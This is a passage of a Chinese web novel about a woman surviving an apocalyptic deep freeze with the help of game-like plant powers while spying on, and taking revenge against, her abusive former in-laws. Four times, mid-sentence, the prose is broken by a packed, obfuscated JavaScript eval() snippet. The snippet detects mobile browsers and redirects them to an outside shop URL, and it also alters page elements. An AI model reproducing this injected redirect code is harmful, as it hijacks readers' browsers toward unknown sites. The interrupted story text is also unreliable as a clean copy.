好像是一瞬间,祁安安发现,周遭的世界突然变得安静起来。嘈杂的喇叭声越来越稀疏,越来越小,更多的声音似乎许久没有听见过了。她身旁的司机似乎意识到了什么,一个个使劲按着喇叭。 但稀稀拉拉的几道声音,在无边无际的白色里只会更加恐怖。祁安安随手按了两下喇叭作为回应,这一次连她自己的声音都被吞咽消失掉。 “呼呼呼”的风声再次响在耳边,那是什么? 她颤抖着手看向后视镜,被冰冻住的镜面成了最好的反光材料,她看到了此生难忘的画面。 该怎么形容身后的场景呢,那是一道遮天蔽日的风,裹挟着看不见的白雾,所到之处连厚重的飞雪都被吹开。 它像世界的霸主,大开大合地侵蚀着一切。 宛如魔法攻击的末日景象变为现实,白雾所到之处为周遭一切都镀上了一层白色,高耸入云的大楼变成透明的冰宫,振翅起飞的鸟儿保持着发力的动作,不远处的司机脸上一片青白色,像是被冻僵了多日的尸体。 跑,绝对不能被白雾笼罩到。 祁安安脑子里只有这一个念头,她此刻已经来到了乡路上,离安全屋还有不到300米的距离,前方没有拥堵的车辆,身后是近在咫尺的白雾。 快点,再快一点。 她使劲踩下油门,急促的呼吸吐出一道道白雾。老爷车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161275|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轰鸣着爆发了全部马力,但速度却是越来越慢。白雾已经死死缠住了它。 车尾、后轮,再到驾驶室,她周身的温度在一点点降低,无边的寒冷快要把她整个人彻底吞噬。 被埋进雪里冻死是什么体验? 先从双脚开始失去知觉,然后是四肢,躯干……,在极端的低温下,人类连最简单的呼吸都费力,不过一分钟时间,祁安安的瞳孔就开始涣散,关节一点点变得僵硬。 白雾裹着风一拥而上,要把她变成千千万万冰雕中的一个。 下一秒,那个快要濒死的人类身上突然出现一抹突兀的红色。 那是什么? 仔细看,那是一根巴掌大小的红色辣椒,细窄的身子上有着拟人的五官,它鼓起嘴巴用力憋起一口气,然后“哗”,纵身一焚。 一道长达10米的火焰以货车为中心竖向燃烧,身处火焰中心的祁安安反而惬意地眯起了眼睛。 在冻死与可能被烧死之间,祁安安宁愿自己选个死法,殊死一搏。 好在乖乖植物是真的靠谱,祁安安和货车都被判定为了友军,她们在火焰的保护下毫发无损,反而是不可一世的白雾在这里遭受到了滑铁卢。 刺目的火光倒映在后视镜上,纵长十米的火焰把白雾烧退了几十米,还把堵在前方的雪道也融化掉不少。 祁安安趁机开着货车回到了自己的小屋。 —— “冷!” 劫后余生,爆表的肾上腺素逐渐消退下去,第一个亮红灯的就是自己的身体。 寒流精心地为房子涂上一层冰壳后就施施然离开,留下身在房子里的人仿佛身处十八层寒冰地狱。 气温来到了零下35度,如果没有寒流,这样的温度尚在人类身体承受范围内,但那仿佛是精心制定的大清洗计划,地球上所有活动在室外的活物无一例外,全部变成了冰雕。 奇异的是,电力系统还能发挥作用,屋里的空调徒劳的一股股输送着暖风。 祁安安狠狠打了个哆嗦,然后咬着牙从小屋里拿出了一大包暖宝宝,一片一片贴在身体的关键部位。有了热源,她青白的脸色这才好看一些。 又是几杯热水下肚,还有旁边的小太阳和空调齐上阵,祁安安这才恢复了行动能力,一点点把货车里的物资转移到地下室去。 电视的信号没有停,一个生面孔的女主持人被推出来,车轱辘一般绕来绕去反复叮嘱寒潮注意事项和保温取暖的方法。 高压之下,能缓解情绪的只有食物。 祁安安从小屋里取出她之前打包好的全家福螺蛳粉,还有一把烤串,全都是热腾腾的。 螺蛳粉Q弹爽滑,炸过的猪蹄鸡爪在小屋的保鲜下,还是最好的状态,一口咬下去外皮酥脆又吸满汤汁。 祁安安要的是爆辣口味,极致的辣度让她这么冷的天都吃出了一头汗。一碗粉下肚心满意足,烤串只能成为打发时间的饭后小零食,干吃有点无聊,祁安安摸摸索索,装好了连接李家监控的投影仪。 5. 第 5 章 监控要从头看起才有意思,李铭是下午两点半到家的。 祁安安默默翻了个白眼,这么会卡时间,咋不直接把他冻死在外头呢? 从包里摸出钥匙开门,李铭傻眼了,离开前还好好的家,现在一片狼藉活像被歹徒洗劫过。他发疯般巡视完所有的房间,然后双腿一软,差点站不稳摔倒在空荡荡的地面上。 “祁安安,你死哪儿去了?人呢,赶快滚出来!” 回应他的只有窗外的一阵阵风声。 李小伟听到动静,一瘸一拐地从楼上跑下来,身后跟着生怕他摔倒的祁父祁母。这三人看到李铭,就像找到了主心骨,你一言我一语把祁安安骂得狗血淋头。 听了大半天脏话,李铭愣是没从中得出一点有效信息,还没等他理出什么思路,大门忽然被敲响。 祁安安不由自主的紧张起来,咀嚼的速度都不自觉慢了,来了来了,激动人心的时刻终于要来了! 打开门后,外头站着四个身高一米九往上人高马大的男人,各个穿着西装戴着墨镜,非常标准的□□装扮。 李铭在自家人面前一副人老子天下第一的样,但到了眼看就惹不起的人面前,他怂的比谁都快。 他小心翼翼地凑过去,往几个人手里一人发了一根烟:“大哥们,请问来此有何贵干呀?” 最前面的黑衣男睨他一眼,冷冰冰地开口:“三天前你在我们公司抵押的房产到期,今天我们是来收房子的。” “啊啊啊????” 李铭嘴巴张得老大,他干巴巴地咽了咽口水,说道:“大哥们,这里是不是有什么误会,三天前我人还在外地呢!” 黑衣人从公文包里拿出一沓文件,劈头盖脸地甩在了他那张大脸上:“祁安安不是你老婆?她拿着这套房子的房产证从我们这里抵押了三十万。” 李铭连连辩解:“冤有头债有主,谁拿的钱您找谁去啊,我们都不知情的。” 黑衣人脸一怵:“你和你老婆的结婚证身份证房产证都押在这里,我管你知不知情同不同意,老子找到你就是让你担这份责!” “现在好商好量是给你个面子。要是你想赖,去道上打听打听我虎哥的名号?看看能不能让你混过去?” 虎哥身后的几个男人手已经按在了腰间,李铭分明从隆起的痕迹看到了……枪! 他额头上的冷汗“唰”一下冒了出来,连忙把腰弯得更低,陪着笑脸说道:“虎哥的债谁敢赖,只是这怎么也不算是个小数目,容您给两天时间,我去凑凑行吗?” 虎哥人狠话不多,一挥手,身后的几个跟班一拥而上,像拎小鸡仔一样把李小伟拎起来扔到了门口。然后几人撸起袖子,直接就地取材,拎起餐厅的椅子在屋里肆意打砸起来。 “砰啪!” 虎哥手下的都是专业团队,眨眼间李铭这套房子就变成了战损小屋,亡妻挑选的家具被砸坏了大半,几个窗户也都砸漏了风。 “住手都住手啊……” 祁母哭着上去抱住一个黑衣人的胳膊,心疼得浑身都在发抖。 虎哥就看着李铭,说:“钱和房子你只能选一个。还有,谁说30万,以为老子是做慈善的。60万少一分,你们一家今晚就给我住桥洞底下。” “六十万!” 怎么三天就翻了一番。 李铭脸色一黑,心里跟吞了黄连一样有苦说不出。虎哥这里明显说不通,他抹了把脸可怜巴巴地看向祁父祁母:“爸妈,我的钱都在公司里,实在周转不开……” 祁父祁母虽然溺爱这个女婿,但60万不是小数目,这一给出去,他俩的养老钱就算是彻底完了。 李铭继续打感情牌:“这栋房子是小萱生前装的,每一件家具都是按照她的喜好来的,要是房子没了,以后我死了都没脸见她。” “爸妈,我也知道这60万不是小数目,但这都是祁安安那个贱人惹出来的祸,没有她咱一家人哪至于落到这个地步。你们帮帮我帮帮我好不好。” 李小伟也抱着沙发哭起来:“外公外婆,这里是我家,我不想搬走。” 四个黑衣人就远远的站着,看着他们一家的闹剧。 祁母为难的看着丈夫,等着他拿个主意。 女儿走后,女婿和孙子就是他们最后的亲人,祁安安这一招,伤的是李铭,可剜的是祁父祁母的心啊。 祁父的眼神在李铭和李小伟脸上不断闪烁,最终重重的叹了口气,然后下定决心。 “秀英,小萱已经走了,咱不能再让小铭难做,拿钱吧……” “……” 祁母哪儿能不知道是这个理,只是这60万…… 算了算了,儿孙都是债啊,点头的时候,祁母的腰都更佝偻了些。 抵押公司的人拿到钱离开了,剩下李家父子和祁父祁母傻愣愣的站在一片狼藉的家里。 “阿嚏!” 李小伟哆哆嗦嗦地打了个喷嚏,穿着夏天的单薄衣服,站在四处漏风的屋子里,骤然一降温,最虚胖的他先扛不住了。 李铭看着手机上不断弹出的低温预警,只能腆着张脸再次麻烦岳父岳母:“祁安安那个贱人把空调电源线都剪坏了,我和小伟的厚衣服也全被她带走了,爸妈我们只能先去你们房子打扰两天了。” 60万都给出去了,再去房子里住两天又算什么大事,祁父祁母点点头,一行人一起进了楼上的屋子。 监控视频的画面就录到这里,祁安安看了个心满意足,连睡觉都更香了。 既然电力还没停,她也就没必要去浪费煤,祁安安在一楼支了个小床,把空调开到最高,又在旁边架了个电暖扇,身上盖了床羽绒被,舒舒服服地睡了一夜。 第二天一早,祁安安睡得饱饱的,醒得也早。 早起第一件事,打开手机。 首先是天气软件,世界范围全是一片深蓝色,就连赤道地区都降到了零下二十度。不过好在,昨天下午四点到达最低温后,温度反而有回升,这才给了人类几分喘息的空间。 社交媒体上乱七八糟,人类只能靠不断刷屏来缓解内心的恐惧。 【一小时气温爆降六十度,有没有大佬进来分析一波?】 【楼下多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161276|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个冰雕,看着还挺逼真的,这是最新的行为艺术吗?】 【好想拥有楼上那双没目睹灾难的双眼……】 【亲眼目睹邻居变成冰雕后,我做了这三件事……】 【末日来了,人类终将灭亡!】 【国家已做出应对,相信国家,我们一定能度过这次危机!】 祁安安看得心念微动,她也开了个帖子,把各种低温求生方法都汇总起来,顺便提醒他们关好门窗,如果温度继续下降,没吃没喝没御寒衣物的人什么都做得出来。 但很可惜,这种时候心思浮动的人们很难沉下心关注这种干货,发布半小时,祁安安只获得了几个机器人的点赞。 她花钱买了推广,然后关掉手机,尽人事听天命。 —— 祁安安今天的早餐是一锅亲手熬的皮蛋鸡丝粥。 这锅粥米香浓郁,皮蛋切成小块被煮到入口即化,卤过的鸡腿肉被她耐心撕成了细丝。出锅的时候又在碗底垫上了青菜碎。 这一碗虽然不正宗,但是味道好吃到爆炸。 祁安安把锅里的米粒都刮下来,吃了个盆光碗净,在心里盘算可以多煮几碗囤着。 早餐时间结束,祁安安洗干净双手坐到了桌前。 她点开系统面板,打开了抽抽乐。 还有25积分,她还有一次机会。 如果没有昨天的意外,按照祁安安这个精打细算的性子,这25积分她肯定是要攒着去兑换永久的植物。 但,这个世界显然比她想象的更加危险。祁安安迫切需要另一个保命的底牌。 25积分扣除,许愿池迅速转动起来。 祁安安一眨不眨的死死盯着池子,一定来颗毁灭植物啊。 三秒钟后,屏幕上出现了一颗无精打采蔫不拉叽的小豌豆。 【滴,恭喜宿主获得豌豆射手(三天体验卡)x1。】 “……” 豌豆射手,祁安安沉默了,真是想啥不来啥。有反方向的钟,下次她许个反方向的愿吧。 祁安安点开了新植物的简介。 【豌豆射手,生命值:100,状态:可种植/佩戴,属性:每三秒发射一颗400点伤害的子弹,并自动瞄准同一直线(20m内)上的敌人。】 祁安安回忆了一下系统之前提到过的生命值,400点伤害,也就意味着,解决一个成年男性,需要两发半的子弹。 不过,要是把豌豆射手理解为一个虚弱buff就有用多了。祁安安打不过一个身强力壮的成年男性,难道还打不过一个掉了400血的男性吗。 这个装备有奇效! 只是,她的眼神一直停留在“可种植/佩戴”这几个字上,种植可以理解,佩戴是什么意思? 是她想象的,豌豆加特林biubiubiu吗? 装死了一晚上的系统终于复活:【宿主可以这么理解,佩戴后植物变为手持模式,宿主受到伤害优先扣除植物生命值。】 居然还有这个好处! 祁安安眼睛一亮,愈发满意这张体验卡。 6. 第 6 章 祁安安这几天可过得“格外”充实。电和水不知道什么时候会停,她抓紧时间做了一批熟食出来。 包子饺子馒头手抓饼,红烧肉小炒肉炖鸡炖鸭炖鹅……,自建房的一楼硬是被她搞成了个预制菜小作坊。 空调一刻不停的开,电磁炉也一刻不停的转,零下20多度的天气,祁安安穿着长袖给自己热出了一身汗。 她闷在家里好几天,外面的世界也发生了不少变化。 铲雪车嗡嗡运作着,救护车和警笛声也不绝于耳。极端天气下,最容易出事的就是老人和孩子,祁安安看到村子里救护车来来回回跑了好几趟,还幸存的老人也不知道有多少。 中间,村里还有人挨家挨户统计过幸存人数,并且送来了国家准备的救援物资包。祁安安把室内电器全部停掉,默默地待在地下室里,没有回应也没有出去。 白雾降临的第十天,祁安安到达这个世界的第十三天。 “嘭!” 午夜时分,外面传来一阵不小的响动,祁安安听到声音迷迷糊糊的睁开眼,却在皮肤接触到空气的瞬间清醒过来。 “嘶,”她赶紧把头埋进被子里,牙齿上下打架,“好冷。” 墙上的空调和不远处的小太阳全部停止运转,这是停电了。 是突发断电还是大规模断电? 如果是电力系统全部崩溃,那这个世界的第二场末日才是真的要来了。 缓了好一会儿,祁安安从小屋里拿出暖宝宝和羽绒服内胆,躲在被子里一件件穿好全,然后才颤颤巍巍地探出头。 手机因为温度过低死机黑屏,她拿出手电筒对准墙上的温度计。 那支温度计竟然已经……碎掉了。 是不是说明温度破表,已经低到了-50度以下? 被她精心改造过的室内尚且如此,室外呢? 愣住的一瞬间,祁安安只感觉寒气四面八方侵袭到身体的每一个缝隙里,她每一个动作都像按住了慢放键,看起来僵硬又古怪。 她哆嗦着手从小屋里又拿出一瓶高度白酒,抿了两口,温暖从四肢百骸流过,皮肤上泛起了久违的热意。她不敢再耽搁,连忙扭动墙上的机关进入了地下室。 “呼。” 地下室的温度比一楼高了二十度左右,虽然还是冷,但起码不会再有刚刚那种冷到快要窒息的感觉。 祁安安拿出充电宝接通了一盏小灯,昏黄的光照亮了面前的一小片区域。 地下室作为避难核心区,这里从祁安安住进来那一天就开始布置,除了没有空调,各方面条件比一楼好了不知多少。 她取出预先准备的炭盆,然后拿了火柴煤炭一股脑扔进去。火光燃起,祁安安把僵硬的手凑近火盆,满足地发出一声喟叹。 —— 虽然停电,但祁安安也睡到了自然醒。为了让自己安稳睡个好觉,她可是做了不少准备。 床垫选的是柔软加厚的,又铺了一层厚实保暖的驼绒毯,保暖内衣紧贴皮肤,上面又盖了两层羽绒被。 祁安安醒来的时候差点被闷出一头汗。 起来的时候,昨夜的炭盆已经熄灭,祁安安烧起炉子,又在另一边点了一个炭盆。 虽然地下室留有出气口,但一氧化碳中毒实在是可怕,祁安安怕冷更怕在睡梦中被毒死。所以睡着的时候炭盆就放在出气口下面,离自己五米远的距离。醒了的时候可以多加一个,一个火炉一个炭盆,两处热源让地下室的温度保持在零下5度左右。 虽然还是冷,但她已经可以穿着较为轻便的羽绒服在室内活动。 炉子里的煤炭燃烧起来,祁安安往上放了个小锅,这么冷的天气,早餐就应该来上一锅热乎乎的鸡汤米线。 鸡汤是她昨天做好的,放在地下室另一间被她专门用作储藏的屋子里,因为低温已经冻成了半固体的形状,上面凝结着一层油。 煤炉火力不小,没一会锅里的鸡汤已经咕嘟咕嘟地沸腾了起来,鲜嫩的笋尖和口蘑肆意释放着自己的鲜味,喷鼻的香气闻一口都让人直流口水。 她打开锅盖,将已经泡好的米线放进去,然后继续开火煮。鸡汤本就是热的,没多时就开始翻滚,稍等一会丟进去一把青翠水灵的小白菜,用筷子搅了搅,最后放了一小撮盐 一小锅香喷喷热腾腾的鸡汤米线就做好了。走地老母鸡熬出来的汤鲜香美味,只用一口,就让她舒服得长长呼出一口气。 祁安安拿起手机对着米线拍了张照片,然后才美美地吃了起来。 吃饱喝足,她从地下室出来上到了二楼,白天的温度相比夜晚稍有回升,但也只是一点点。 昨夜又下了场大雪,之前铲雪机的努力好像变成了无用功,雪比之前更厚了,快有半层楼那么高。 施工时,祁安安就交代过,房屋的封闭性一定要做好。 但哪怕三面封死,只留下二楼正前方的一扇窗户,再隔着一层厚厚的防弹耐低温玻璃,祁安安还是忍不住打了个寒颤。 冷,透进来的每一丝风都像刀一般划过皮肤,刮得人鼻尖生疼,浑身都忍不住发抖。 她拿出口罩耳护把自己严严实实包裹住,然后看向窗外,她看见了不远处电线杆上的维修人员。 漫天的白色中,他身上荧光红的工作服格外显眼。凛冽寒风中,像一朵随时熄灭的微弱火苗。 祁安安不忍地收回视线,下一秒,电线杆上那个身影被风卷得东摇西晃,他几乎没有攀抓的机会,像个鲜红的塑料袋,直直坠向地面。 祁安安心里一紧,然后下意识闭上眼。等她再睁眼时,那抹红色己经摔进冰雪堆里,一动不动。 极寒的天气恐怕己经让他冻僵,从那么高的地方摔下来,甚至没有看到四溅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161277|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血迹。 祁安安怀疑,他在坠落之前就已经失去生命。 过了好久才有几个人从四面围过来,这时积雪已经埋住了他的半边身子。 没有救护车来。 半个小时以后,一辆简陋的地排车拉走了那具尸体。 雪还是没停,很快就把所有痕迹洇灭殆尽。 —— 电力还是没有恢复,祁安安魂不守舍地回到地下室,连着充电宝打开了社交媒体。 上面也是兵荒马乱,充斥着各种绝望的消息。 【凌晨停电直接给我冻醒了,啥时候来电啊我快扛不住了!】 【还剩两包泡面,连壶热水都没有,我能活下去吗?】 【家里老人已经停药三天了,医院电话一直打不通,拜托大家帮忙转发扩散。】 求助的,找人的,发泄的……,昨天的突然降温,杀伤力其实比白雾还大,有大佬保守估计,这一波起码减少了四分之一的人口。 祁安安看得压抑,没一会就退了出去,然后登上了原主的微信号,打开了之前的小区群。 真是没想到,祁安安的“好家人们”居然还活得好好的,在大家都异常沉默的时候,李家父子在群里上下蹦哒的倒是欢腾。 祁安安滑上去慢慢爬楼,寒潮刚降临时,这几人打感情牌,在小区物业和其他业主求助到了几件棉袄和食物。 但昨晚大降温后,任他们怎么卖惨,大家都以自保为主,很少有人再有泛滥的圣母心。 祁安安切到祁父祁母家的监控视角,看到四个人整整齐齐变成了四只鹌鹑,裹着毯子缩在背风的沙发后面。 S市是典型的南方城市,冬天最冷的时候都没有到过零下,过冬一件棉服就够了,甚至有抗冻的更是一件大衣过一冬。 李铭以为躲到祁父祁母家就能苟住。但祁安安可清楚,原主这对父母因为有个任劳任怨的小女儿,把自己娇养成了十指不沾阳春水的富贵闲人。 别说做饭了,连囤粮都没多少,全是些没用的保健品。 李铭好女婿的嘴脸还没保持几天,先被饥饿打败了。祁安安把监控往回倒了倒。 才发现,这四个人里似乎还划分出了阶级。李铭仗着性别优势迅速和儿子李小伟建立了同盟,他们严格控制家里的保暖物资和食物,并且命令祁父祁母每日都要出门乞讨。 老两口一开始还不同意,但被打了一顿之后就老实了,每天只能穿着薄薄的棉服,带着两个巴掌大的小面包挨家挨户乞讨。 讨不来食物,李铭就请他们吃大嘴巴子;讨来了也没他们的份,只能喝点热水填填肚子。 现在没了水电,他俩的日子怕是会更加精彩。 祁安安屋子里的储备电源有限,但,好不容易有个乐子。 看狗咬狗,哪怕是自己发电,也要把这个瓜吃到底! 7. 第 7 章 李铭的微信祁安安还没删,她忽略上面的一连串辱骂,把刚刚拍下的鸡汤米线调了个色,加了层滤镜发过去。 最新的投影画面中,李铭已经冻傻了,还是李小伟发现了新消息:“爸,是祁安安那个贱人!” “她活得好好的,还有热的食物,凭什么她能过这么舒服!” 李铭接过手机,手指明显是被冻僵了,抖了半天都打不开图片。 祁安安贴心的发过去一条语音,用上自己这辈子最造作的腔调:“哎呀,不好意思手滑了。” “大降温就得吃点好的养养膘。李铭?李小伟?你俩应该还活着吧,千万别死太快,那就不好玩了。” 李铭脸色发青的蹲在地上破口大骂:“祁安安这个贱人,敢在我面前耀武扬威,等雪停了我就去找她,我不会放过她!” 李小伟哆哆嗦嗦的哭:“爸爸,这雪哪儿会停啊。” 是啊,这雪哪儿会停。 如果说昨天之前他们心中还是抱有希望。但骤然的大降温,停止供应的电和水,让所有人心中都无比清楚一个事实,国家对这场末世已经无能为力,他们能依靠的只剩下自己。 李小伟哭得更大声了:“爸爸我好冷,我肚子好饿!” “饿饿饿,你以为老子就不饿吗?”李铭牟足劲给了他一巴掌,“md,我怎么养了你们这一群米虫。三个人两套房,除了游戏机和智商税保健品,找不出一点有用的东西!” “哭什么哭,对着老子哭,不如出门对着邻居哭,看见就心烦,赶紧滚!” 他把李小伟身上的棉衣扒下来一件:“你给老子滚,要不到食物就别回来了!” “爸……” 李小伟的眼睛在脸上堆积的肥肉中使劲睁大,里面全是不可思议,“我可是你亲儿子啊。” “亲爹也没用!” 李铭的手已经攥上了一块断掉的凳子腿,凶狠的眼神直勾勾的瞪着他。 李小伟吓得一哆嗦,连忙踉跄着向门外。 他怂了,这两天看到外公外婆在爸爸手下连连哀嚎,这甚至比末世还颠覆他的认知。 为什么儒雅的爸爸居然有这一面,更没想到还有轮到自己受罪的一天。 人都出去了,屋里清静下来,李铭勉强消了气,蜷缩着身子假寐。 祁安安这会儿已经做好了午饭,再次发送过去一张照片。 是一份酸菜鱼。 超市帮忙处理好的黑鱼片用淀粉上浆,然后在调好的酸菜汤底里把千张豆芽和鱼片分别煮熟,最后再稍微精致的摆个盘。 “滋啦”一声,滚烫的热油把辣椒和芝麻呛香,一份色香味俱全的酸菜水煮鱼就做好了。 祁安安再次拿出手机咔咔咔一顿拍,最满意的一张,鲜嫩的鱼片放在粒粒分明的米饭上,还有超经意入镜的炭盆。 隔着屏幕都能感受到美味和温暖。 祁安安非常大方的点击发送按钮。 画饼充饥,望梅止渴,吃不着看看也不错。 李铭从点开图片就呆坐着一动不动,祁安安仔细一看,他那张大脸上居然出现了两道湿润的痕迹。 这是?哭了。 不会吧不会吧,这就哭了呀。 祁安安毫无同情心,就着两滴鳄鱼的眼泪吃得更香了。 —— 祁安安在地下室的生活很单调,每天想办法给自己做点美食,准点打开投影仪看乐子,然后就是窝在床上睡觉。 过去的六天里,李小伟失去了“太子”待遇,李家正式形成了一王三奴的格局。 李铭作为唯一的王,享有棉被和羽绒服的支配权。 并且还制定了李家末世守则:李小伟和祁父每天必须外出,并且要带回来食物或者燃料。 祁母负责简单的打扫屋子,还有烹饪食物。 祁父祁母本来就地位低,没什么意见。李小伟仗着体格还不服,被打了两棍子也老实了。 大降温第七天,祁安安任务进程的第三十天,她再一次从梦中醒来。 有点不对劲,睡前盖着的两床羽绒被被无意识蹬走了一张。 温度计已经损坏得不到数据,祁安安仔细感知了一下,今晚的温度好像比白天高了些,比昨晚更是暖和了不少。 不会是自己冷出幻觉了吧。祁安安听说人在冻死前,会感觉到热,从而出现反常脱衣现象。 额…… 她赶紧裹紧了两床小被子。 可恶的极寒,她可不会被轻易迷惑! 羽绒被的保温效果太好,祁安安这一晚睡的太难受,硬是在被窝里捂出了一身热汗。 天亮的时候,温度再次下降,她又半梦半醒的捡回了被蹬掉的被子,在被窝里缩成可怜巴巴的一团。 “阿啾!”祁安安捂着嘴巴重重的打了声喷嚏,没盖好被子,果然感冒了。 她连忙给自己熬上一锅浓香的小米粥,混着感冒药吃下去。 昨晚的异常一直窝在心底,祁安安决定去地面上看看情况。 她全副武装站在了窗户旁,这两天的雪一刻没停的在下,厚厚的已经快堆到有一层楼的高度,但今天—— 祁安安按照墙上之前涂的标语作为记号,仔细比对之后发现,积雪的厚度没有增加,甚至略低了那么一点点。 昨晚的升温不是梦? 没有温度计,她心里有猜测却不敢确定。 一直又过去的几天,祁安安经历了非常神奇,甚至是离谱的天气现象。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161278|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的温度毫无改变,依旧是很冷,但一进入夜晚,气温就开始反常的升高,有大佬分析,夜晚最高温甚至能达到零下25度。 零下50度和零下25度,25度的温差,这是什么概念? 有人开心,天不绝人类。然而,更多人心里清楚,早已失去□□能力的政府和积年不化的大雪,足够滋生出许多黑暗。 有时候人心其实比末世更加可怕。 祁安安住的是独门独户的农村自建房,暂时没有这种困扰,但投影仪里,冻不死的小强李铭已经阴森森的打起来坏主意。 他们四个人窝在家里,毫不掩饰的大声密谋:“对门那个丫头是不是个主播,她家里肯定有不少东西!” 祁母小心翼翼的补充:“白雾来之前我看到她大包小包往家里拎回过米面,而且她家里只有一个人。” “那丫头气色不错,绝对是个家里有余粮的!” 李铭灵活的小眼睛在眼眶里飞速转动:“既然如此,那我们……” 祁父祁母听的连连皱眉,但一句阻拦的话都不敢说。李小伟激动的张牙舞爪,一点不见刚刚的蔫豆芽样。 祁安安心中一跳,原主记忆里,对门的小姐姐对她多有照顾,虽然怒她不争,但总会力所能及的帮帮她。 —— 王清是阳光小区的一名住户,主业是游戏主播,因此宅在家的时间比较多。 阳光小区作为靠近市中心的一个楼盘,开发时间早,里面住着的人鱼龙混杂。 尤其是她的对门邻居,搬来七年,王清眼睁睁看着那个小姑娘从微微的内向,变成现在的绝望主妇。 她不知道在祁安安旁边和唐僧念金箍咒一样劝过多少遍,但那人就跟灌了迷魂药一样,自己pua自己,说什么也不肯离开她那个烂成泥的家。 王清劝了这么多年劝累了,试图让自己成为一个旁观的看客。 然而她不由得想起那天,晚餐时间祁安安没有伺候在继子旁边当牛做马,而是异常兴奋的离开了家,还主动和她打了招呼,提醒她要多囤点避寒物资。 三伏天,避寒? 王清差点怀疑祁安安是终于在折磨中疯了,但那人极为认真的又重复了一遍。 她半信半疑,还是买了些平常用不到的大米和面粉。 求个心安,大不了用不上再捐出去。 很快,王清就忍不住感谢自己的一时脑抽。极寒末日降临,社会秩序也在短时间崩盘,业主群里每天都是一片哀嚎,她小心翼翼的在其中隐身,不多说一句话,更不烂好心给别人物资。 然而,这天晚上,刚刚砍完一包干噎的泡面,王清看到手机屏幕亮起。 【有人在打你的主意,关好门窗,千万不要开门!】 8. 第 8 章 消息是匿名发过来的,王清心中一跳,是谁?出于善意还是恶意发出的?这条信息她可以相信吗? 监控中,李铭已经在房子里四处搜寻可以用的工具了。 祁安安连忙打字:【我对你没有恶意,相信我,他们会想办法破坏你家的大门,想办法保护好自己!】 王清蹑手蹑脚的走到门口,透过猫眼朝外看看,走廊上空荡荡的什么也没有。 她打开了这栋楼的业主群,经历了两次危机,还活着的业主剩下不到一半,王清对他们算得上熟悉。 这群人曾经都有体面的工作,日常相处也和善,才断电五天,真的有人能突破底线去谋财害命吗? 王清犹豫了,但她不敢赌人性,她决定相信神秘人。 她小心翼翼的推过来一个鞋柜,又在外侧顶上一个沙发。做完这些,她裹着羽绒服,手里攥着一根棒球棍,就在沙发旁和衣坐下。 还好夜间气温升高了,要不然这样是真难熬。 墙上的钟表一圈一圈转动,前半夜一切风平浪静,隔壁那个总是骂孩子打岳父岳母的畜生居然都消停了。 天知道她被烦的多久没睡过好觉。 “呜呜呜……” 窗外的寒风像鬼哭狼嚎,半梦半醒之间,“咔嚓!”一声细微的响声让王清浑身汗毛竖起,她警觉地抬头向大门望去。 有人! —— 祁安安怕王清出事,今晚也不敢睡得太死,一直坐在投影仪前面。 她比王清先一步发现了李铭的行动,提示的信息刚刚发过去。下一秒,祁安安在地下室里,敏锐的感受到了外面的异样。 轰隆隆的声音,能传到她耳边的想必是不小的动静。 祁安安打开了安装在一楼的监控,快速把十分钟前的视角都看过一遍,确认没有人趁机入室后,然后才小心翼翼的拧开地下室的开关。 来到地面上,那阵嘈杂的声音听得更真切了。她轻手轻脚来到二楼,月光不算亮,但有大片大片的积雪反射,倒是也不影响视线。 声音的来源是几辆黑色的全地形车,它们大大咧咧的停在了村口,所有人下车,目标明确的直奔村子里的一户人家。 祁安安租住的村子名叫望海村,人口流失严重,有一大半房子都荒废掉。这群人却能目标明确的直奔一户有人居住的房子,是村子里出了内鬼,还是他们已经在这里踩点多日? 祁安安不敢细想,只是庆幸自己在末日里苟得无声无息。 一道又一道黑影踩着雪堆毫不费力的翻进了那户人家的小院,没过多久一阵苍老的尖叫声划破黑夜。 祁安安有印象,那里似乎住着一位独居的老太太。极寒末世没有带走她的生命,反而是同胞要对她下毒手。 占据了一栋房子后,这些歹徒们并没有停手,他们趁着夜色,洗劫了村里一户又一户人家。 